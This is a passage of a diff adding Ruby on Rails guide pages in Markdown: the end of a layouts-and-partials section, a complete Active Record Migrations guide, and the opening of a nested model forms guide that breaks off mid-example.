+ as: :item, locals: {title: "Products Page"} %>
+```
+
+Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`.
+
+TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
+
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
+#### Spacer Templates
+
+```erb
+<%= render partial: @products, spacer_template: "product_ruler" %>
+```
+
+Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials.
+
+#### Collection Partial Layouts
+
+When rendering collections it is also possible to use the `:layout` option:
+
+```erb
+<%= render partial: "product", collection: @products, layout: "special_layout" %>
+```
+
+The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial.
+
+### Using Nested Layouts
+
+You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
+
+Suppose you have the following `ApplicationController` layout:
+
+* `app/views/layouts/application.html.erb`
+
+ ```html+erb
+ <html>
+ <head>
+ <title><%= @page_title or "Page Title" %></title>
+ <%= stylesheet_link_tag "layout" %>
+ <style><%= yield :stylesheets %></style>
+ </head>
+ <body>
+ <div id="top_menu">Top menu items here</div>
+ <div id="menu">Menu items here</div>
+ <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
+ </body>
+ </html>
+ ```
+
+On pages generated by `NewsController`, you want to hide the top menu and add a right menu:
+
+* `app/views/layouts/news.html.erb`
+
+ ```html+erb
+ <% content_for :stylesheets do %>
+ #top_menu {display: none}
+ #right_menu {float: right; background-color: yellow; color: black}
+ <% end %>
+ <% content_for :content do %>
+ <div id="right_menu">Right menu items here</div>
+ <%= content_for?(:news_content) ? yield(:news_content) : yield %>
+ <% end %>
+ <%= render template: "layouts/application" %>
+ ```
+
+That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
+
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render template: 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`.

+Active Record Migrations
+========================
+
+Migrations are a feature of Active Record that allows you to evolve your
+database schema over time. Rather than write schema modifications in pure SQL,
+migrations allow you to use an easy Ruby DSL to describe changes to your
+tables.
+
+After reading this guide, you will know:
+
+* The generators you can use to create them.
+* The methods Active Record provides to manipulate your database.
+* The Rake tasks that manipulate migrations and your schema.
+* How migrations relate to `schema.rb`.
+
+--------------------------------------------------------------------------------
+
+Migration Overview
+------------------
+
+Migrations are a convenient way to alter your database schema over time in a
+consistent and easy way. They use a Ruby DSL so that you don't have to write
+SQL by hand, allowing your schema and changes to be database independent.
+
+You can think of each migration as being a new 'version' of the database. A
+schema starts off with nothing in it, and each migration modifies it to add or
+remove tables, columns, or entries. Active Record knows how to update your
+schema along this timeline, bringing it from whatever point it is in the
+history to the latest version. Active Record will also update your
+`db/schema.rb` file to match the up-to-date structure of your database.
+
+Here's an example of a migration:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+end
+```
+
+This migration adds a table called `products` with a string column called
+`name` and a text column called `description`. A primary key column called `id`
+will also be added implicitly, as it's the default primary key for all Active
+Record models. The `timestamps` macro adds two columns, `created_at` and
+`updated_at`. These special columns are automatically managed by Active Record
+if they exist.
+
+Note that we define the change that we want to happen moving forward in time.
+Before this migration is run, there will be no table. After, the table will
+exist. Active Record knows how to reverse this migration as well: if we roll
+this migration back, it will remove the table.
+
+On databases that support transactions with statements that change the schema,
+migrations are wrapped in a transaction. If the database does not support this
+then when a migration fails the parts of it that succeeded will not be rolled
+back. You will have to rollback the changes that were made by hand.
+
+NOTE: There are certain queries that can't run inside a transaction. If your
+adapter supports DDL transactions you can use `disable_ddl_transaction!` to
+disable them for a single migration.
+
+If you wish for a migration to do something that Active Record doesn't know how
+to reverse, you can use `reversible`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration
+ def change
+ reversible do |dir|
+ change_table :products do |t|
+ dir.up { t.change :price, :string }
+ dir.down { t.change :price, :integer }
+ end
+ end
+ end
+end
+```
+
+Alternatively, you can use `up` and `down` instead of `change`:
+
+```ruby
+class ChangeProductsPrice < ActiveRecord::Migration
+ def up
+ change_table :products do |t|
+ t.change :price, :string
+ end
+ end
+
+ def down
+ change_table :products do |t|
+ t.change :price, :integer
+ end
+ end
+end
+```
+
+Creating a Migration
+--------------------
+
+### Creating a Standalone Migration
+
+Migrations are stored as files in the `db/migrate` directory, one for each
+migration class. The name of the file is of the form
+`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp
+identifying the migration followed by an underscore followed by the name
+of the migration. The name of the migration class (CamelCased version)
+should match the latter part of the file name. For example
+`20080906120000_create_products.rb` should define class `CreateProducts` and
+`20080906120001_add_details_to_products.rb` should define
+`AddDetailsToProducts`. Rails uses this timestamp to determine which migration
+should be run and in what order, so if you're copying a migration from another
+application or generate a file yourself, be aware of its position in the order.
+
+Of course, calculating timestamps is no fun, so Active Record provides a
+generator to handle making it for you:
+
+```bash
+$ rails generate migration AddPartNumberToProducts
+```
+
+This will create an empty but appropriately named migration:
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def change
+ end
+end
+```
+
+If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
+followed by a list of column names and types then a migration containing the
+appropriate `add_column` and `remove_column` statements will be created.
+
+```bash
+$ rails generate migration AddPartNumberToProducts part_number:string
+```
+
+will generate
+
+```ruby
+class AddPartNumberToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :part_number, :string
+ end
+end
+```
+
+Similarly,
+
+```bash
+$ rails generate migration RemovePartNumberFromProducts part_number:string
+```
+
+generates
+
+```ruby
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+ def change
+ remove_column :products, :part_number, :string
+ end
+end
+```
+
+You are not limited to one magically generated column. For example
+
+```bash
+$ rails generate migration AddDetailsToProducts part_number:string price:decimal
+```
+
+generates
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :part_number, :string
+ add_column :products, :price, :decimal
+ end
+end
+```
+
+If the migration name is of the form "CreateXXX" and is
+followed by a list of column names and types then a migration creating the table
+XXX with the columns listed will be generated. For example:
+
+```bash
+$ rails generate migration CreateProducts name:string part_number:string
+```
+
+generates
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.string :part_number
+ end
+ end
+end
+```
+
+As always, what has been generated for you is just a starting point. You can add
+or remove from it as you see fit by editing the
+`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
+
+Also, the generator accepts column type as `references`(also available as
+`belongs_to`). For instance
+
+```bash
+$ rails generate migration AddUserRefToProducts user:references
+```
+
+generates
+
+```ruby
+class AddUserRefToProducts < ActiveRecord::Migration
+ def change
+ add_reference :products, :user, index: true
+ end
+end
+```
+
+This migration will create a `user_id` column and appropriate index.
+
+There is also a generator which will produce join tables if `JoinTable` is part of the name:
+
+```bash
+rails g migration CreateJoinTableCustomerProduct customer product
+```
+
+will produce the following migration:
+
+```ruby
+class CreateJoinTableCustomerProduct < ActiveRecord::Migration
+ def change
+ create_join_table :customers, :products do |t|
+ # t.index [:customer_id, :product_id]
+ # t.index [:product_id, :customer_id]
+ end
+ end
+end
+```
+
+### Model Generators
+
+The model and scaffold generators will create migrations appropriate for adding
+a new model. This migration will already contain instructions for creating the
+relevant table. If you tell Rails what columns you want, then statements for
+adding these columns will also be created. For example, running
+
+```bash
+$ rails generate model Product name:string description:text
+```
+
+will create a migration that looks like this
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+end
+```
+
+You can append as many column name/type pairs as you want.
+
+### Supported Type Modifiers
+
+You can also specify some options just after the field type between curly
+braces. You can use the following modifiers:
+
+* `limit` Sets the maximum size of the `string/text/binary/integer` fields
+* `precision` Defines the precision for the `decimal` fields
+* `scale` Defines the scale for the `decimal` fields
+* `polymorphic` Adds a `type` column for `belongs_to` associations
+
+For instance, running
+
+```bash
+$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic}
+```
+
+will produce a migration that looks like this
+
+```ruby
+class AddDetailsToProducts < ActiveRecord::Migration
+ def change
+ add_column :products, :price, precision: 5, scale: 2
+ add_reference :products, :user, polymorphic: true, index: true
+ end
+end
+```
+
+Writing a Migration
+-------------------
+
+Once you have created your migration using one of the generators it's time to
+get to work!
+
+### Creating a Table
+
+The `create_table` method is one of the most fundamental, but most of the time,
+will be generated for you from using a model or scaffold generator. A typical
+use would be
+
+```ruby
+create_table :products do |t|
+ t.string :name
+end
+```
+
+which creates a `products` table with a column called `name` (and as discussed
+below, an implicit `id` column).
+
+By default, `create_table` will create a primary key called `id`. You can change
+the name of the primary key with the `:primary_key` option (don't forget to
+update the corresponding model) or, if you don't want a primary key at all, you
+can pass the option `id: false`. If you need to pass database specific options
+you can place an SQL fragment in the `:options` option. For example,
+
+```ruby
+create_table :products, options: "ENGINE=BLACKHOLE" do |t|
+ t.string :name, null: false
+end
+```
+
+will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
+(when using MySQL, the default is `ENGINE=InnoDB`).
+
+### Creating a Join Table
+
+Migration method `create_join_table` creates a HABTM join table. A typical use
+would be
+
+```ruby
+create_join_table :products, :categories
+```
+
+which creates a `categories_products` table with two columns called
+`category_id` and `product_id`. These columns have the option `:null` set to
+`false` by default.
+
+You can pass the option `:table_name` with you want to customize the table
+name. For example,
+
+```ruby
+create_join_table :products, :categories, table_name: :categorization
+```
+
+will create a `categorization` table.
+
+By default, `create_join_table` will create two columns with no options, but
+you can specify these options using the `:column_options` option. For example,
+
+```ruby
+create_join_table :products, :categories, column_options: {null: true}
+```
+
+will create the `product_id` and `category_id` with the `:null` option as
+`true`.
+
+`create_join_table` also accepts a block, which you can use to add indices
+(which are not created by default) or additional columns:
+
+```ruby
+create_join_table :products, :categories do |t|
+ t.index :products
+ t.index :categories
+end
+```
+
+### Changing Tables
+
+A close cousin of `create_table` is `change_table`, used for changing existing
+tables. It is used in a similar fashion to `create_table` but the object
+yielded to the block knows more tricks. For example
+
+```ruby
+change_table :products do |t|
+ t.remove :description, :name
+ t.string :part_number
+ t.index :part_number
+ t.rename :upccode, :upc_code
+end
+```
+
+removes the `description` and `name` columns, creates a `part_number` string
+column and adds an index on it. Finally it renames the `upccode` column.
+
+### When Helpers aren't Enough
+
+If the helpers provided by Active Record aren't enough you can use the `execute`
+method to execute arbitrary SQL:
+
+```ruby
+Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
+```
+
+For more details and examples of individual methods, check the API documentation.
+In particular the documentation for
+[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
+(which provides the methods available in the `change`, `up` and `down` methods),
+[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
+(which provides the methods available on the object yielded by `create_table`)
+and
+[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
+(which provides the methods available on the object yielded by `change_table`).
+
+### Using the `change` Method
+
+The `change` method is the primary way of writing migrations. It works for the
+majority of cases, where Active Record knows how to reverse the migration
+automatically. Currently, the `change` method supports only these migration
+definitions:
+
+* `add_column`
+* `add_index`
+* `add_reference`
+* `add_timestamps`
+* `create_table`
+* `create_join_table`
+* `drop_table` (must supply a block)
+* `drop_join_table` (must supply a block)
+* `remove_timestamps`
+* `rename_column`
+* `rename_index`
+* `remove_reference`
+* `rename_table`
+
+`change_table` is also reversible, as long as the block does not call `change`,
+`change_default` or `remove`.
+
+If you're going to need to use any other methods, you should use `reversible`
+or write the `up` and `down` methods instead of using the `change` method.
+
+### Using `reversible`
+
+Complex migrations may require processing that Active Record doesn't know how
+to reverse. You can use `reversible` to specify what to do when running a
+migration what else to do when reverting it. For example,
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration
+ def change
+ create_table :products do |t|
+ t.references :category
+ end
+
+ reversible do |dir|
+ dir.up do
+ #add a foreign key
+ execute <<-SQL
+ ALTER TABLE products
+ ADD CONSTRAINT fk_products_categories
+ FOREIGN KEY (category_id)
+ REFERENCES categories(id)
+ SQL
+ end
+ dir.down do
+ execute <<-SQL
+ ALTER TABLE products
+ DROP FOREIGN KEY fk_products_categories
+ SQL
+ end
+ end
+
+ add_column :users, :home_page_url, :string
+ rename_column :users, :email, :email_address
+ end
+```
+
+Using `reversible` will ensure that the instructions are executed in the
+right order too. If the previous example migration is reverted,
+the `down` block will be run after the `home_page_url` column is removed and
+right before the table `products` is dropped.
+
+Sometimes your migration will do something which is just plain irreversible; for
+example, it might destroy some data. In such cases, you can raise
+`ActiveRecord::IrreversibleMigration` in your `down` block. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Using the `up`/`down` Methods
+
+You can also use the old style of migration using `up` and `down` methods
+instead of the `change` method.
+The `up` method should describe the transformation you'd like to make to your
+schema, and the `down` method of your migration should revert the
+transformations done by the `up` method. In other words, the database schema
+should be unchanged if you do an `up` followed by a `down`. For example, if you
+create a table in the `up` method, you should drop it in the `down` method. It
+is wise to reverse the transformations in precisely the reverse order they were
+made in the `up` method. The example in the `reversible` section is equivalent to:
+
+```ruby
+class ExampleMigration < ActiveRecord::Migration
+ def up
+ create_table :products do |t|
+ t.references :category
+ end
+
+ # add a foreign key
+ execute <<-SQL
+ ALTER TABLE products
+ ADD CONSTRAINT fk_products_categories
+ FOREIGN KEY (category_id)
+ REFERENCES categories(id)
+ SQL
+
+ add_column :users, :home_page_url, :string
+ rename_column :users, :email, :email_address
+ end
+
+ def down
+ rename_column :users, :email_address, :email
+ remove_column :users, :home_page_url
+
+ execute <<-SQL
+ ALTER TABLE products
+ DROP FOREIGN KEY fk_products_categories
+ SQL
+
+ drop_table :products
+ end
+end
+```
+
+If your migration is irreversible, you should raise
+`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+### Reverting Previous Migrations
+
+You can use Active Record's ability to rollback migrations using the `revert` method:
+
+```ruby
+require_relative '2012121212_example_migration'
+
+class FixupExampleMigration < ActiveRecord::Migration
+ def change
+ revert ExampleMigration
+
+ create_table(:apples) do |t|
+ t.string :variety
+ end
+ end
+end
+```
+
+The `revert` method also accepts a block of instructions to reverse.
+This could be useful to revert selected parts of previous migrations.
+For example, let's imagine that `ExampleMigration` is committed and it
+is later decided it would be best to serialize the product list instead.
+One could write:
+
+```ruby
+class SerializeProductListMigration < ActiveRecord::Migration
+ def change
+ add_column :categories, :product_list
+
+ reversible do |dir|
+ dir.up do
+ # transfer data from Products to Category#product_list
+ end
+ dir.down do
+ # create Products from Category#product_list
+ end
+ end
+
+ revert do
+ # copy-pasted code from ExampleMigration
+ create_table :products do |t|
+ t.references :category
+ end
+
+ reversible do |dir|
+ dir.up do
+ #add a foreign key
+ execute <<-SQL
+ ALTER TABLE products
+ ADD CONSTRAINT fk_products_categories
+ FOREIGN KEY (category_id)
+ REFERENCES categories(id)
+ SQL
+ end
+ dir.down do
+ execute <<-SQL
+ ALTER TABLE products
+ DROP FOREIGN KEY fk_products_categories
+ SQL
+ end
+ end
+
+ # The rest of the migration was ok
+ end
+ end
+end
+```
+
+The same migration could also have been written without using `revert`
+but this would have involved a few more steps: reversing the order
+of `create_table` and `reversible`, replacing `create_table`
+by `drop_table`, and finally replacing `up` by `down` and vice-versa.
+This is all taken care of by `revert`.
+
+Running Migrations
+------------------
+
+Rails provides a set of Rake tasks to run certain sets of migrations.
+
+The very first migration related Rake task you will use will probably be
+`rake db:migrate`. In its most basic form it just runs the `change` or `up`
+method for all the migrations that have not yet been run. If there are
+no such migrations, it exits. It will run these migrations in order based
+on the date of the migration.
+
+Note that running the `db:migrate` also invokes the `db:schema:dump` task, which
+will update your `db/schema.rb` file to match the structure of your database.
+
+If you specify a target version, Active Record will run the required migrations
+(change, up, down) until it has reached the specified version. The version
+is the numerical prefix on the migration's filename. For example, to migrate
+to version 20080906120000 run
+
+```bash
+$ rake db:migrate VERSION=20080906120000
+```
+
+If version 20080906120000 is greater than the current version (i.e., it is
+migrating upwards), this will run the `change` (or `up`) method
+on all migrations up to and
+including 20080906120000, and will not execute any later migrations. If
+migrating downwards, this will run the `down` method on all the migrations
+down to, but not including, 20080906120000.
+
+### Rolling Back
+
+A common task is to rollback the last migration. For example, if you made a
+mistake in it and wish to correct it. Rather than tracking down the version
+number associated with the previous migration you can run
+
+```bash
+$ rake db:rollback
+```
+
+This will rollback the latest migration, either by reverting the `change`
+method or by running the `down` method. If you need to undo
+several migrations you can provide a `STEP` parameter:
+
+```bash
+$ rake db:rollback STEP=3
+```
+
+will revert the last 3 migrations.
+
+The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
+back up again. As with the `db:rollback` task, you can use the `STEP` parameter
+if you need to go more than one version back, for example
+
+```bash
+$ rake db:migrate:redo STEP=3
+```
+
+Neither of these Rake tasks do anything you could not do with `db:migrate`. They
+are simply more convenient, since you do not need to explicitly specify the
+version to migrate to.
+
+### Resetting the Database
+
+The `rake db:reset` task will drop the database, recreate it and load the
+current schema into it.
+
+NOTE: This is not the same as running all the migrations. It will only use the
+contents of the current schema.rb file. If a migration can't be rolled back,
+'rake db:reset' may not help you. To find out more about dumping the schema see
+'[schema dumping and you](#schema-dumping-and-you).'
+
+### Running Specific Migrations
+
+If you need to run a specific migration up or down, the `db:migrate:up` and
+`db:migrate:down` tasks will do that. Just specify the appropriate version and
+the corresponding migration will have its `change`, `up` or `down` method
+invoked, for example,
+
+```bash
+$ rake db:migrate:up VERSION=20080906120000
+```
+
+will run the 20080906120000 migration by running the `change` method (or the
+`up` method). This task will
+first check whether the migration is already performed and will do nothing if
+Active Record believes that it has already been run.
+
+### Running Migrations in Different Environments
+
+By default running `rake db:migrate` will run in the `development` environment.
+To run migrations against another environment you can specify it using the
+`RAILS_ENV` environment variable while running the command. For example to run
+migrations against the `test` environment you could run:
+
+```bash
+$ rake db:migrate RAILS_ENV=test
+```
+
+### Changing the Output of Running Migrations
+
+By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this
+
+```bash
+== CreateProducts: migrating =================================================
+-- create_table(:products)
+ -> 0.0028s
+== CreateProducts: migrated (0.0028s) ========================================
+```
+
+Several methods are provided in migrations that allow you to control all this:
+
+| Method | Purpose
+| -------------------- | -------
+| suppress_messages | Takes a block as an argument and suppresses any output generated by the block.
+| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
+| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+For example, this migration
+
+```ruby
+class CreateProducts < ActiveRecord::Migration
+ def change
+ suppress_messages do
+ create_table :products do |t|
+ t.string :name
+ t.text :description
+ t.timestamps
+ end
+ end
+
+ say "Created a table"
+
+ suppress_messages {add_index :products, :name}
+ say "and an index!", true
+
+ say_with_time 'Waiting for a while' do
+ sleep 10
+ 250
+ end
+ end
+end
+```
+
+generates the following output
+
+```bash
+== CreateProducts: migrating =================================================
+-- Created a table
+ -> and an index!
+-- Waiting for a while
+ -> 10.0013s
+ -> 250 rows
+== CreateProducts: migrated (10.0054s) =======================================
+```
+
+If you want Active Record to not output anything, then running `rake db:migrate
+VERBOSE=false` will suppress all output.
+
+Changing Existing Migrations
+----------------------------
+
+Occasionally you will make a mistake when writing a migration. If you have
+already run the migration then you cannot just edit the migration and run the
+migration again: Rails thinks it has already run the migration and so will do
+nothing when you run `rake db:migrate`. You must rollback the migration (for
+example with `rake db:rollback`), edit your migration and then run
+`rake db:migrate` to run the corrected version.
+
+In general, editing existing migrations is not a good idea. You will be
+creating extra work for yourself and your co-workers and cause major headaches
+if the existing version of the migration has already been run on production
+machines. Instead, you should write a new migration that performs the changes
+you require. Editing a freshly generated migration that has not yet been
+committed to source control (or, more generally, which has not been propagated
+beyond your development machine) is relatively harmless.
+
+The `revert` method can be helpful when writing a new migration to undo
+previous migrations in whole or in part
+(see [Reverting Previous Migrations](#reverting-previous-migrations) above).
+
+Using Models in Your Migrations
+-------------------------------
+
+When creating or updating data in a migration it is often tempting to use one
+of your models. After all, they exist to provide easy access to the underlying
+data. This can be done, but some caution should be observed.
+
+For example, problems occur when the model uses database columns which are (1)
+not currently in the database and (2) will be created by this or a subsequent
+migration.
+
+Consider this example, where Alice and Bob are working on the same code base
+which contains a `Product` model:
+
+Bob goes on vacation.
+
+Alice creates a migration for the `products` table which adds a new column and
+initializes it. She also adds a validation to the `Product` model for the new
+column.
+
+```ruby
+# db/migrate/20100513121110_add_flag_to_product.rb
+
+class AddFlagToProduct < ActiveRecord::Migration
+ def change
+ add_column :products, :flag, :boolean
+ reversible do |dir|
+ dir.up { Product.update_all flag: false }
+ end
+ Product.update_all flag: false
+ end
+end
+```
+
+```ruby
+# app/models/product.rb
+
+class Product < ActiveRecord::Base
+ validates :flag, presence: true
+end
+```
+
+Alice adds a second migration which adds and initializes another column to the
+`products` table and also adds a validation to the `Product` model for the new
+column.
+
+```ruby
+# db/migrate/20100515121110_add_fuzz_to_product.rb
+
+class AddFuzzToProduct < ActiveRecord::Migration
+ def change
+ add_column :products, :fuzz, :string
+ reversible do |dir|
+ dir.up { Product.update_all fuzz: 'fuzzy' }
+ end
+ end
+end
+```
+
+```ruby
+# app/models/product.rb
+
+class Product < ActiveRecord::Base
+ validates :flag, :fuzz, presence: true
+end
+```
+
+Both migrations work for Alice.
+
+Bob comes back from vacation and:
+
+* Updates the source - which contains both migrations and the latest version
+ of the Product model.
+* Runs outstanding migrations with `rake db:migrate`, which
+ includes the one that updates the `Product` model.
+
+The migration crashes because when the model attempts to save, it tries to
+validate the second added column, which is not in the database when the _first_
+migration runs:
+
+```
+rake aborted!
+An error has occurred, this and all later migrations canceled:
+
+undefined method `fuzz' for #<Product:0x000001049b14a0>
+```
+
+A fix for this is to create a local model within the migration. This keeps
+Rails from running the validations, so that the migrations run to completion.
+
+When using a local model, it's a good idea to call
+`Product.reset_column_information` to refresh the `ActiveRecord` cache for the
+`Product` model prior to updating data in the database.
+
+If Alice had done this instead, there would have been no problem:
+
+```ruby
+# db/migrate/20100513121110_add_flag_to_product.rb
+
+class AddFlagToProduct < ActiveRecord::Migration
+ class Product < ActiveRecord::Base
+ end
+
+ def change
+ add_column :products, :flag, :boolean
+ Product.reset_column_information
+ reversible do |dir|
+ dir.up { Product.update_all flag: false }
+ end
+ end
+end
+```
+
+```ruby
+# db/migrate/20100515121110_add_fuzz_to_product.rb
+
+class AddFuzzToProduct < ActiveRecord::Migration
+ class Product < ActiveRecord::Base
+ end
+
+ def change
+ add_column :products, :fuzz, :string
+ Product.reset_column_information
+ reversible do |dir|
+ dir.up { Product.update_all fuzz: 'fuzzy' }
+ end
+ end
+end
+```
+
+There are other ways in which the above example could have gone badly.
+
+For example, imagine that Alice creates a migration that selectively
+updates the `description` field on certain products. She runs the
+migration, commits the code, and then begins working on the next feature,
+which is to add a new column `fuzz` to the products table.
+
+She creates two migrations for this new feature, one which adds the new
+column, and a second which selectively updates the `fuzz` column based on
+other product attributes.
+
+These migrations run just fine, but when Bob comes back from his vacation
+and calls `rake db:migrate` to run all the outstanding migrations, he gets a
+subtle bug: The descriptions have defaults, and the `fuzz` column is present,
+but `fuzz` is nil on all products.
+
+The solution is again to use `Product.reset_column_information` before
+referencing the Product model in a migration, ensuring the Active Record's
+knowledge of the table structure is current before manipulating data in those
+records.
+
+Schema Dumping and You
+----------------------
+
+### What are Schema Files for?
+
+Migrations, mighty as they may be, are not the authoritative source for your
+database schema. That role falls to either `db/schema.rb` or an SQL file which
+Active Record generates by examining the database. They are not designed to be
+edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by
+replaying the entire migration history. It is much simpler and faster to just
+load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development
+database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
+loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an
+Active Record object has. This information is not in the model's code and is
+frequently spread across several migrations, but the information is nicely
+summed up in the schema file. The
+[annotate_models](https://github.com/ctran/annotate_models) gem automatically
+adds and updates comments at the top of each model summarizing the schema if
+you desire that functionality.
+
+### Types of Schema Dumps
+
+There are two ways to dump the schema. This is set in `config/application.rb`
+by the `config.active_record.schema_format` setting, which may be either `:sql`
+or `:ruby`.
+
+If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look
+at this file you'll find that it looks an awful lot like one very big
+migration:
+
+```ruby
+ActiveRecord::Schema.define(version: 20080906171750) do
+ create_table "authors", force: true do |t|
+ t.string "name"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+ create_table "products", force: true do |t|
+ t.string "name"
+ t.text "description"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ t.string "part_number"
+ end
+end
+```
+
+In many ways this is exactly what it is. This file is created by inspecting the
+database and expressing its structure using `create_table`, `add_index`, and so
+on. Because this is database-independent, it could be loaded into any database
+that Active Record supports. This could be very useful if you were to
+distribute an application that is able to run against multiple databases.
+
+There is however a trade-off: `db/schema.rb` cannot express database specific
+items such as foreign key constraints, triggers, or stored procedures. While in
+a migration you can execute custom SQL statements, the schema dumper cannot
+reconstitute those statements from the database. If you are using features like
+this, then you should set the schema format to `:sql`.
+
+Instead of using Active Record's schema dumper, the database's structure will
+be dumped using a tool specific to the database (via the `db:structure:dump`
+Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
+utility is used. For MySQL, this file will contain the output of `SHOW CREATE
+TABLE` for the various tables.
+
+Loading these schemas is simply a question of executing the SQL statements they
+contain. By definition, this will create a perfect copy of the database's
+structure. Using the `:sql` schema format will, however, prevent loading the
+schema into a RDBMS other than the one used to create it.
+
+### Schema Dumps and Source Control
+
+Because schema dumps are the authoritative source for your database schema, it
+is strongly recommended that you check them into source control.
+
+Active Record and Referential Integrity
+---------------------------------------
+
+The Active Record way claims that intelligence belongs in your models, not in
+the database. As such, features such as triggers or foreign key constraints,
+which push some of that intelligence back into the database, are not heavily
+used.
+
+Validations such as `validates :foreign_key, uniqueness: true` are one way in
+which models can enforce data integrity. The `:dependent` option on
+associations allows models to automatically destroy child objects when the
+parent is destroyed. Like anything which operates at the application level,
+these cannot guarantee referential integrity and so some people augment them
+with foreign key constraints in the database.
+
+Although Active Record does not provide any tools for working directly with
+such features, the `execute` method can be used to execute arbitrary SQL. You
+could also use some gem like
+[foreigner](https://github.com/matthuhiggins/foreigner) which add foreign key
+support to Active Record (including support for dumping foreign keys in
+`db/schema.rb`).
+
+Migrations and Seed Data
+------------------------
+
+Some people use migrations to add data to the database:
+
+```ruby
+class AddInitialProducts < ActiveRecord::Migration
+ def up
+ 5.times do |i|
+ Product.create(name: "Product ##{i}", description: "A product.")
+ end
+ end
+
+ def down
+ Product.delete_all
+ end
+end
+```
+
+However, Rails has a 'seeds' feature that should be used for seeding a database
+with initial data. It's a really simple feature: just fill up `db/seeds.rb`
+with some Ruby code, and run `rake db:seed`:
+
+```ruby
+5.times do |i|
+ Product.create(name: "Product ##{i}", description: "A product.")
+end
+```
+
+This is generally a much cleaner way to set up the database of a blank
+application.

+Rails nested model forms
+========================
+
+Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
+
+After reading this guide, you will know:
+
+* do stuff.
+
+--------------------------------------------------------------------------------
+
+NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
+
+
+Model setup
+-----------
+
+To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
+
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build.
+
+If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+
+Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
+
+### ActiveRecord::Base model
+
+For an ActiveRecord::Base model and association this writer method is commonly defined with the `accepts_nested_attributes_for` class method:
+
+#### has_one
+
+```ruby
+class Person < ActiveRecord::Base
+ has_one :address
+ accepts_nested_attributes_for :address
+end
+```
+
+#### belongs_to
+
+```ruby
+class Person < ActiveRecord::Base
+ belongs_to :firm
+ accepts_nested_attributes_for :firm
+end
+```
+
+#### has_many / has_and_belongs_to_many
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :projects
+ accepts_nested_attributes_for :projects
+end
+```
+
+### Custom model
+
+As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
+
+#### Single associated object
+
+```ruby
+class Person
+ def address
+ Address.new
+ end
+
+ def address_attributes=(attributes)
+ # ...
+ end
+end
+```
+
+#### Association collection
+
+```ruby
